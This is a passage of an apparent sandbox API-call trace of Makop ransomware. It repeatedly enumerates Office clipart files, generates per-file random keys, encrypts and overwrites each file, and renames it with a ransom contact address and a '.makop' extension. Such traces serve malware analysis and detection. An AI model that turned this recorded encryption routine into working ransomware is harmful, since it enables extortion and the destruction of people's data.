Office\\CLIPART\\PUB60COR\\PE03459_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.857] CloseHandle (hObject=0xf0) returned 1 [0144.857] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1 [0144.858] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 63 [0144.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.859] GetProcessHeap () returned 0x48a0000 [0144.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.860] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0144.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.866] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.866] GetProcessHeap () returned 0x48a0000 [0144.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.866] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.867] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.867] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.868] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.868] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1664, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1664, lpOverlapped=0x0) returned 1 [0144.870] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1670, dwBufLen=0x1670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1670) returned 1 [0144.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1670, lpOverlapped=0x0) returned 1 [0144.871] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.871] SetEndOfFile (hFile=0xf0) returned 1 [0144.878] GetProcessHeap () returned 0x48a0000 [0144.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.879] GetProcessHeap () returned 0x48a0000 [0144.879] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.879] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.881] CloseHandle (hObject=0xf0) returned 1 [0144.881] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1 [0144.881] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 63 [0144.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.882] GetProcessHeap () returned 0x48a0000 [0144.882] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.882] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.883] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.883] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.883] GetProcessHeap () returned 0x48a0000 [0144.883] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.883] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.883] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.883] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.888] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.888] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.888] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.889] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.889] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.889] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x41a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x41a0, lpOverlapped=0x0) returned 1 [0144.892] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x41a0, dwBufLen=0x41a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x41a0) returned 1 [0144.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x41a0, lpOverlapped=0x0) returned 1 [0144.892] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.893] SetEndOfFile (hFile=0xf0) returned 1 [0144.899] GetProcessHeap () returned 0x48a0000 [0144.899] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.899] GetProcessHeap () returned 0x48a0000 [0144.899] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.899] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.901] CloseHandle (hObject=0xf0) returned 1 [0144.901] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1 [0144.901] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF") returned 63 [0144.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.903] GetProcessHeap () returned 0x48a0000 [0144.903] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.903] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.903] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.903] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.908] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.908] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.909] GetProcessHeap () returned 0x48a0000 [0144.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.909] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.909] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.910] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.910] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.910] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.911] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3998, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3998, lpOverlapped=0x0) returned 1 [0144.912] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x39a0, dwBufLen=0x39a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x39a0) returned 1 [0144.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x39a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x39a0, lpOverlapped=0x0) returned 1 [0144.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.915] SetEndOfFile (hFile=0xf0) returned 1 [0144.922] GetProcessHeap () returned 0x48a0000 [0144.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.922] GetProcessHeap () returned 0x48a0000 [0144.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.922] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.924] CloseHandle (hObject=0xf0) returned 1 [0144.924] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1 [0144.924] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF") returned 63 [0144.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.926] GetProcessHeap () returned 0x48a0000 [0144.926] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.926] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0144.933] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.933] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.933] GetProcessHeap () returned 0x48a0000 [0144.933] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.933] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.933] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.933] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.933] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.934] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.935] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xec4, lpOverlapped=0x0) returned 1 [0144.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xed0, dwBufLen=0xed0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xed0) returned 1 [0144.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xed0, lpOverlapped=0x0) returned 1 [0144.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.935] SetEndOfFile (hFile=0xf0) returned 